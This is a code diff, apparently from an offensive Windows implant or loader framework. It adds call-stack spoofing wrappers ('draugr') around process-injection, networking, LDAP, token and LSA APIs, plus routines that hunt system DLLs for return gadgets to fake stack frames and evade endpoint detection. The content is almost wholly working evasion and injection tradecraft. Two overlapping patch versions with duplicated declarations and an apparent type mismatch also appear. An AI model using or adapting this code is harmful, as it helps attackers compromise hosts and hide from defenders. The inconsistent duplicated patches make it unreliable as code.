DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle ( HANDLE );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingA ( HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateProcessA ( LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateRemoteThread ( HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateThread ( LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$DuplicateHandle ( HANDLE, HANDLE, HANDLE, LPHANDLE, DWORD, BOOL, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetThreadContext ( HANDLE, LPCONTEXT );
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$MapViewOfFile ( HANDLE, DWORD, DWORD, DWORD, SIZE_T );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess ( DWORD, BOOL, DWORD );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread ( DWORD, BOOL, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory ( HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T * );
|
||||
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$ResumeThread ( HANDLE );
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetThreadContext ( HANDLE, const CONTEXT * );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$UnmapViewOfFile ( LPCVOID );
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAllocEx ( HANDLE, LPVOID, SIZE_T, DWORD, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtectEx ( HANDLE, LPVOID, SIZE_T, DWORD, PDWORD );
|
||||
DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQuery ( LPCVOID, PMEMORY_BASIC_INFORMATION, SIZE_T );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory ( HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T * );
|
||||
DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetConnectA ( HINTERNET, LPCSTR, INTERNET_PORT, LPCSTR, LPCSTR, DWORD, DWORD, DWORD_PTR );
|
||||
DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetOpenA ( LPCSTR, DWORD, LPCSTR, LPCSTR, DWORD );
|
||||
DECLSPEC_IMPORT HINTERNET WINAPI WININET$HttpSendRequestA ( HINTERNET, LPCSTR, DWORD, LPVOID, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle ( HANDLE );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingA ( HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateProcessA ( LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateRemoteThread ( HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateThread ( LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$DuplicateHandle ( HANDLE, HANDLE, HANDLE, LPHANDLE, DWORD, BOOL, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetThreadContext ( HANDLE, LPCONTEXT );
|
||||
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryA ( LPCSTR );
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$MapViewOfFile ( HANDLE, DWORD, DWORD, DWORD, SIZE_T );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess ( DWORD, BOOL, DWORD );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread ( DWORD, BOOL, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory ( HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T * );
|
||||
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$ResumeThread ( HANDLE );
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetThreadContext ( HANDLE, const CONTEXT * );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$UnmapViewOfFile ( LPCVOID );
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAllocEx ( HANDLE, LPVOID, SIZE_T, DWORD, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtectEx ( HANDLE, LPVOID, SIZE_T, DWORD, PDWORD );
|
||||
DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQuery ( LPCVOID, PMEMORY_BASIC_INFORMATION, SIZE_T );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory ( HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T * );
|
||||
DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance ( REFCLSID, LPUNKNOWN, DWORD, REFIID, LPVOID * );
|
||||
DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN );
|
||||
|
||||
DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance ( REFCLSID, LPUNKNOWN, DWORD, REFIID, LPVOID * );
|
||||
// Custom added hooks
|
||||
DECLSPEC_IMPORT int WSAAPI WS2_32$bind ( SOCKET, const struct sockaddr *, int );
|
||||
DECLSPEC_IMPORT int WSAAPI WS2_32$connect ( SOCKET, const struct sockaddr *, int );
|
||||
DECLSPEC_IMPORT int WSAAPI WS2_32$getaddrinfo ( const char *, const char *, const struct addrinfo *, struct addrinfo ** );
|
||||
DECLSPEC_IMPORT int WSAAPI WS2_32$send ( SOCKET, const char *, int, int );
|
||||
DECLSPEC_IMPORT SOCKET WSAAPI WS2_32$socket ( int, int, int );
|
||||
DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$OpenProcessToken ( HANDLE, DWORD, PHANDLE );
|
||||
DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetTokenInformation ( HANDLE, TOKEN_INFORMATION_CLASS, LPVOID, DWORD, PDWORD );
|
||||
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$WaitForSingleObject ( HANDLE, DWORD );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentThread ( VOID );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcess ( VOID );
|
||||
DECLSPEC_IMPORT HINSTANCE WINAPI SHELL32$ShellExecuteA ( HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, INT );
|
||||
DECLSPEC_IMPORT PLDAPSearch LDAPAPI WLDAP32$ldap_search_init_pageA ( PLDAP, const PSTR, ULONG, const PSTR, PZPSTR, ULONG, PLDAPControlA *, PLDAPControlA *, ULONG, ULONG, PLDAPSortKeyA * );
|
||||
DECLSPEC_IMPORT ULONG LDAPAPI WLDAP32$ldap_bind_s ( LDAP *, const PSTR, const PCHAR, ULONG );
|
||||
DECLSPEC_IMPORT LDAP *LDAPAPI WLDAP32$ldap_init ( PSTR, ULONG );
|
||||
|
||||
DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN );
|
||||
// Have not been implemented as functions yet and have not yet #include the right header for types
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI SECUR32$LsaRegisterLogonProcess ( PLSA_STRING, PHANDLE, PLSA_OPERATIONAL_MODE );
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI SECUR32$LsaConnectUntrusted ( PHANDLE );
|
||||
|
||||
// cannot put this here because it fails to build
|
||||
// to PIC when hooks.x64.o is merged into the loader
|
||||
// extern MEMORY_LAYOUT g_memory;
|
||||
|
||||
HINTERNET WINAPI _InternetOpenA ( LPCSTR lpszAgent, DWORD dwAccessType, LPCSTR lpszProxy, LPCSTR lpszProxyBypass, DWORD dwFlags )
|
||||
{
|
||||
@@ -72,6 +96,21 @@ HINTERNET WINAPI _InternetConnectA ( HINTERNET hInternet, LPCSTR lpszServerName,
|
||||
return ( HINTERNET ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _HttpSendRequestA ( HINTERNET hRequest, LPCSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( WININET$HttpSendRequestA );
|
||||
call.argc = 5;
|
||||
call.args [ 0 ] = spoof_arg ( hRequest );
|
||||
call.args [ 1 ] = spoof_arg ( lpszHeaders );
|
||||
call.args [ 2 ] = spoof_arg ( dwHeadersLength );
|
||||
call.args [ 3 ] = spoof_arg ( lpOptional );
|
||||
call.args [ 4 ] = spoof_arg ( dwOptionalLength );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _CloseHandle ( HANDLE hObject )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
@@ -195,7 +234,7 @@ HMODULE WINAPI _LoadLibraryA ( LPCSTR lpLibFileName )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( LoadLibraryA );
|
||||
call.ptr = ( PVOID ) ( KERNEL32$LoadLibraryA );
|
||||
call.argc = 1;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpLibFileName );
|
||||
@@ -418,3 +457,221 @@ BOOL WINAPI _WriteProcessMemory ( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
ULONG LDAPAPI _ldap_bind_s ( LDAP * ld, const PSTR dn, const PCHAR cred, ULONG method )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( WLDAP32$ldap_bind_s );
|
||||
call.argc = 4;
|
||||
call.args [ 0 ] = spoof_arg ( ld );
|
||||
call.args [ 1 ] = spoof_arg ( dn );
|
||||
call.args [ 2 ] = spoof_arg ( cred );
|
||||
call.args [ 3 ] = spoof_arg ( method );
|
||||
|
||||
return ( ULONG ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
LDAP * LDAPAPI _ldap_init ( PSTR HostName, ULONG PortNumber )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) WLDAP32$ldap_init;
|
||||
call.argc = 2;
|
||||
call.args [ 0 ] = spoof_arg ( HostName );
|
||||
call.args [ 1 ] = spoof_arg ( PortNumber );
|
||||
|
||||
return ( LDAP * ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
// WS2_32 and WSOCK32 hooks
|
||||
int WSAAPI _bind ( SOCKET s, const struct sockaddr * name, int namelen )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( WS2_32$bind );
|
||||
call.argc = 3;
|
||||
call.args [ 0 ] = spoof_arg ( s );
|
||||
call.args [ 1 ] = spoof_arg ( name );
|
||||
call.args [ 2 ] = spoof_arg ( namelen );
|
||||
|
||||
return ( int ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
int WSAAPI _send ( SOCKET s, const char * buf, int len, int flags )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( WS2_32$send );
|
||||
call.argc = 4;
|
||||
call.args [ 0 ] = spoof_arg ( s );
|
||||
call.args [ 1 ] = spoof_arg ( buf );
|
||||
call.args [ 2 ] = spoof_arg ( len );
|
||||
call.args [ 3 ] = spoof_arg ( flags );
|
||||
|
||||
return ( int ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
SOCKET WSAAPI _socket ( int af, int type, int protocol )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( WS2_32$socket );
|
||||
call.argc = 3;
|
||||
call.args [ 0 ] = spoof_arg ( af );
|
||||
call.args [ 1 ] = spoof_arg ( type );
|
||||
call.args [ 2 ] = spoof_arg ( protocol );
|
||||
|
||||
return ( SOCKET ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
PLDAPSearch LDAPAPI _ldap_search_init_pageA ( PLDAP ExternalHandle, const PSTR DistinguishedName, ULONG ScopeOfSearch, const PSTR SearchFilter, PZPSTR AttributeList, ULONG AttributesOnly, PLDAPControlA * ServerControls, PLDAPControlA * ClientControls, ULONG PageTimeLimit, ULONG TotalSizeLimit, PLDAPSortKeyA * SortKeys )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) WLDAP32$ldap_search_init_pageA;
|
||||
call.argc = 11;
|
||||
call.args [ 0 ] = spoof_arg ( ExternalHandle );
|
||||
call.args [ 1 ] = spoof_arg ( DistinguishedName );
|
||||
call.args [ 2 ] = spoof_arg ( ScopeOfSearch );
|
||||
call.args [ 3 ] = spoof_arg ( SearchFilter );
|
||||
call.args [ 4 ] = spoof_arg ( AttributeList );
|
||||
call.args [ 5 ] = spoof_arg ( AttributesOnly );
|
||||
call.args [ 6 ] = spoof_arg ( ServerControls );
|
||||
call.args [ 7 ] = spoof_arg ( ClientControls );
|
||||
call.args [ 8 ] = spoof_arg ( PageTimeLimit );
|
||||
call.args [ 9 ] = spoof_arg ( TotalSizeLimit );
|
||||
call.args [ 10 ] = spoof_arg ( SortKeys );
|
||||
|
||||
return ( PLDAPSearch ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _GetTokenInformation ( HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ADVAPI32$GetTokenInformation;
|
||||
call.argc = 5;
|
||||
call.args [ 0 ] = spoof_arg ( TokenHandle );
|
||||
call.args [ 1 ] = spoof_arg ( TokenInformationClass );
|
||||
call.args [ 2 ] = spoof_arg ( TokenInformation );
|
||||
call.args [ 3 ] = spoof_arg ( TokenInformationLength );
|
||||
call.args [ 4 ] = spoof_arg ( ReturnLength );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _OpenProcessToken ( HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ADVAPI32$OpenProcessToken;
|
||||
call.argc = 3;
|
||||
call.args [ 0 ] = spoof_arg ( ProcessHandle );
|
||||
call.args [ 1 ] = spoof_arg ( DesiredAccess );
|
||||
call.args [ 2 ] = spoof_arg ( TokenHandle );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HANDLE WINAPI _GetCurrentThread ( VOID )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) KERNEL32$GetCurrentThread;
|
||||
call.argc = 0;
|
||||
|
||||
return ( HANDLE ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HANDLE WINAPI _GetCurrentProcess ( VOID )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) KERNEL32$GetCurrentProcess;
|
||||
call.argc = 0;
|
||||
|
||||
return ( HANDLE ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
DWORD WINAPI _WaitForSingleObject ( HANDLE hHandle, DWORD dwMilliseconds )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) KERNEL32$WaitForSingleObject;
|
||||
call.argc = 2;
|
||||
call.args [ 0 ] = spoof_arg ( hHandle );
|
||||
call.args [ 1 ] = spoof_arg ( dwMilliseconds );
|
||||
|
||||
return ( DWORD ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
// SHELL32 hooks
|
||||
HINSTANCE WINAPI _ShellExecuteA ( HWND hwnd, LPCSTR lpOperation, LPCSTR lpFile, LPCSTR lpParameters, LPCSTR lpDirectory, INT nShowCmd )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) SHELL32$ShellExecuteA;
|
||||
call.argc = 6;
|
||||
call.args [ 0 ] = spoof_arg ( hwnd );
|
||||
call.args [ 1 ] = spoof_arg ( lpOperation );
|
||||
call.args [ 2 ] = spoof_arg ( lpFile );
|
||||
call.args [ 3 ] = spoof_arg ( lpParameters );
|
||||
call.args [ 4 ] = spoof_arg ( lpDirectory );
|
||||
call.args [ 5 ] = spoof_arg ( nShowCmd );
|
||||
|
||||
return ( HINSTANCE ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
// SECUR32 hooks
|
||||
NTSTATUS NTAPI _LsaRegisterLogonProcess ( PLSA_STRING LogonProcessName, PHANDLE LsaHandle, PLSA_OPERATIONAL_MODE SecurityMode )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) SECUR32$LsaRegisterLogonProcess;
|
||||
call.argc = 3;
|
||||
call.args [ 0 ] = spoof_arg ( LogonProcessName );
|
||||
call.args [ 1 ] = spoof_arg ( LsaHandle );
|
||||
call.args [ 2 ] = spoof_arg ( SecurityMode );
|
||||
|
||||
return ( NTSTATUS ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
NTSTATUS NTAPI _LsaConnectUntrusted ( PHANDLE LsaHandle )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) SECUR32$LsaConnectUntrusted;
|
||||
call.argc = 1;
|
||||
call.args [ 0 ] = spoof_arg ( LsaHandle );
|
||||
|
||||
return ( NTSTATUS ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
// WS2_32 hooks
|
||||
int WSAAPI _connect ( SOCKET s, const struct sockaddr * name, int namelen )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( WS2_32$connect );
|
||||
call.argc = 3;
|
||||
call.args [ 0 ] = spoof_arg ( s );
|
||||
call.args [ 1 ] = spoof_arg ( name );
|
||||
call.args [ 2 ] = spoof_arg ( namelen );
|
||||
|
||||
return ( int ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
int WSAAPI _getaddrinfo ( const char * nodename, const char * servname, const struct addrinfo * hints, struct addrinfo ** res )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( WS2_32$getaddrinfo );
|
||||
call.argc = 4;
|
||||
call.args [ 0 ] = spoof_arg ( nodename );
|
||||
call.args [ 1 ] = spoof_arg ( servname );
|
||||
call.args [ 2 ] = spoof_arg ( hints );
|
||||
call.args [ 3 ] = spoof_arg ( res );
|
||||
|
||||
return ( int ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
typedef struct {
|
||||
char data [ 4096 ];
|
||||
char code [ 16384 ];
|
||||
char code [ 24576 ];
|
||||
} PICO;
|
||||
|
||||
typedef struct {
|
||||
|
||||
+117
-6
@@ -95,7 +95,7 @@ extern PVOID draugr_stub ( PVOID, PVOID, PVOID, PVOID, DRAUGR_PARAMETERS *, PVOI
|
||||
|
||||
#define draugr_arg(i) ( ULONG_PTR ) ( call->args [ i ] )
|
||||
|
||||
void init_frame_info ( SYNTHETIC_STACK_FRAME * frame )
|
||||
void init_frame_info ( SYNTHETIC_STACK_FRAME * frame, PVOID gadget )
|
||||
{
|
||||
PVOID frame1_module = KERNEL32$GetModuleHandleA ( "kernel32.dll" );
|
||||
PVOID frame2_module = KERNEL32$GetModuleHandleA ( "ntdll.dll" );
|
||||
@@ -108,7 +108,7 @@ void init_frame_info ( SYNTHETIC_STACK_FRAME * frame )
|
||||
frame->Frame2.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame2_module, "RtlUserThreadStart" );
|
||||
frame->Frame2.Offset = 0x2c;
|
||||
|
||||
frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" );
|
||||
frame->Gadget = gadget;
|
||||
}
|
||||
|
||||
BOOL get_text_section_size ( PVOID module, PDWORD virtual_address, PDWORD size )
|
||||
@@ -286,7 +286,63 @@ PVOID find_gadget( PVOID module )
|
||||
found_gadgets = TRUE;
|
||||
}
|
||||
|
||||
seed = 0x1337;
|
||||
if ( counter == 0 ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
seed = 0x7331;
|
||||
random = NTDLL$RtlRandomEx ( &seed );
|
||||
random %= counter;
|
||||
|
||||
return gadget_list [ random ];
|
||||
}
|
||||
|
||||
PVOID find_gadget_call( PVOID module )
|
||||
{
|
||||
BOOL found_gadgets = FALSE;
|
||||
DWORD text_section_size = 0;
|
||||
DWORD text_section_va = 0;
|
||||
DWORD counter = 0;
|
||||
ULONG seed = 0;
|
||||
ULONG random = 0;
|
||||
PVOID module_text_section = NULL;
|
||||
|
||||
PVOID gadget_list [ 15 ] = { 0 };
|
||||
|
||||
if ( ! found_gadgets )
|
||||
{
|
||||
if ( ! get_text_section_size ( module, &text_section_va, &text_section_size ) ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
module_text_section = ( PBYTE ) ( ( UINT_PTR ) module + text_section_va );
|
||||
|
||||
for ( int i = 0; i < ( text_section_size - 2 ); i++ )
|
||||
{
|
||||
/* x64 opcodes are ff 23 */
|
||||
if ( ( ( PBYTE ) module_text_section ) [ i ] == 0xFF && ( ( PBYTE ) module_text_section ) [ i + 1 ] == 0x23 )
|
||||
{
|
||||
/* check for a call before the gadget */
|
||||
if ( ( ( PBYTE ) module_text_section ) [ i - 5 ] == 0xE8 )
|
||||
{
|
||||
gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i );
|
||||
counter++;
|
||||
|
||||
if ( counter == 15 ) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
found_gadgets = TRUE;
|
||||
}
|
||||
|
||||
if ( counter == 0 ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
seed = 0x7331;
|
||||
random = NTDLL$RtlRandomEx ( &seed );
|
||||
random %= counter;
|
||||
|
||||
@@ -305,7 +361,56 @@ ULONG_PTR draugr_wrapper ( PVOID function, DWORD ssn, PVOID arg1, PVOID arg2, PV
|
||||
}
|
||||
|
||||
SYNTHETIC_STACK_FRAME frame;
|
||||
init_frame_info ( &frame );
|
||||
PVOID gadget_module = NULL;
|
||||
PVOID test_gadget = NULL;
|
||||
BOOL use_kernelbase_gadget = FALSE;
|
||||
|
||||
/* Try gadget modules in order until we find one with valid gadgets */
|
||||
PVOID gadget1 = KERNEL32$GetModuleHandleA ( "archiveint.dll" );
|
||||
if ( ! gadget1 ) {
|
||||
gadget1 = LoadLibraryA ( "archiveint.dll" );
|
||||
}
|
||||
if ( gadget1 )
|
||||
{
|
||||
test_gadget = find_gadget_call ( gadget1 );
|
||||
if ( test_gadget ) {
|
||||
gadget_module = gadget1;
|
||||
}
|
||||
}
|
||||
|
||||
if ( ! gadget_module )
|
||||
{
|
||||
PVOID gadget2 = KERNEL32$GetModuleHandleA ( "authfwsnapin.dll" );
|
||||
if ( ! gadget2 ) {
|
||||
gadget2 = LoadLibraryA ( "authfwsnapin.dll" );
|
||||
}
|
||||
if ( gadget2 )
|
||||
{
|
||||
test_gadget = find_gadget_call ( gadget2 );
|
||||
if ( test_gadget ) {
|
||||
gadget_module = gadget2;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if ( ! gadget_module )
|
||||
{
|
||||
PVOID gadget3 = KERNEL32$GetModuleHandleA ( "kernelbase.dll" );
|
||||
if ( gadget3 )
|
||||
{
|
||||
test_gadget = find_gadget ( gadget3 );
|
||||
if ( test_gadget ) {
|
||||
gadget_module = gadget3;
|
||||
use_kernelbase_gadget = TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if ( ! gadget_module ) {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
|
||||
init_frame_info ( &frame, gadget_module );
|
||||
|
||||
return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame1.FunctionAddress + frame.Frame1.Offset );
|
||||
draugr_params.BaseThreadInitThunkStackSize = calculate_function_stack_size_wrapper ( return_address );
|
||||
@@ -325,9 +430,15 @@ ULONG_PTR draugr_wrapper ( PVOID function, DWORD ssn, PVOID arg1, PVOID arg2, PV
|
||||
|
||||
do
|
||||
{
|
||||
draugr_params.Trampoline = find_gadget ( frame.Gadget );
|
||||
/* Use find_gadget for kernelbase.dll, find_gadget_call for others */
|
||||
if ( use_kernelbase_gadget ) {
|
||||
draugr_params.Trampoline = find_gadget ( frame.Gadget );
|
||||
} else {
|
||||
draugr_params.Trampoline = find_gadget_call ( frame.Gadget );
|
||||
}
|
||||
|
||||
draugr_params.TrampolineStackSize = calculate_function_stack_size_wrapper ( draugr_params.Trampoline );
|
||||
|
||||
|
||||
attempts++;
|
||||
|
||||
if ( attempts > 15 ) {
|
||||
|
||||
@@ -29,6 +29,8 @@ x64:
|
||||
attach "KERNEL32$VirtualFree" "_VirtualFree"
|
||||
preserve "KERNEL32$LoadLibraryA" "init_frame_info"
|
||||
|
||||
preserve "KERNEL32$LoadLibraryA" "draugr_wrapper"
|
||||
|
||||
# mask & link the dll
|
||||
generate $MASK 128
|
||||
push $DLL
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
typedef struct {
|
||||
char data [ 4096 ];
|
||||
char code [ 16384 ];
|
||||
char code [ 20480 ];
|
||||
} PICO;
|
||||
|
||||
typedef struct {
|
||||
|
||||
+118
-6
@@ -95,7 +95,7 @@ extern PVOID draugr_stub ( PVOID, PVOID, PVOID, PVOID, DRAUGR_PARAMETERS *, PVOI
|
||||
|
||||
#define draugr_arg(i) ( ULONG_PTR ) ( call->args [ i ] )
|
||||
|
||||
void init_frame_info ( SYNTHETIC_STACK_FRAME * frame )
|
||||
void init_frame_info ( SYNTHETIC_STACK_FRAME * frame, PVOID gadget )
|
||||
{
|
||||
PVOID frame1_module = KERNEL32$GetModuleHandleA ( "kernel32.dll" );
|
||||
PVOID frame2_module = KERNEL32$GetModuleHandleA ( "ntdll.dll" );
|
||||
@@ -108,7 +108,7 @@ void init_frame_info ( SYNTHETIC_STACK_FRAME * frame )
|
||||
frame->Frame2.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame2_module, "RtlUserThreadStart" );
|
||||
frame->Frame2.Offset = 0x2c;
|
||||
|
||||
frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" );
|
||||
frame->Gadget = KERNEL32$GetModuleHandleA ( gadget );
|
||||
}
|
||||
|
||||
BOOL get_text_section_size ( PVOID module, PDWORD virtual_address, PDWORD size )
|
||||
@@ -285,8 +285,64 @@ PVOID find_gadget( PVOID module )
|
||||
|
||||
found_gadgets = TRUE;
|
||||
}
|
||||
|
||||
if ( counter == 0 ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
seed = 0x1337;
|
||||
seed = 0x7331;
|
||||
random = NTDLL$RtlRandomEx ( &seed );
|
||||
random %= counter;
|
||||
|
||||
return gadget_list [ random ];
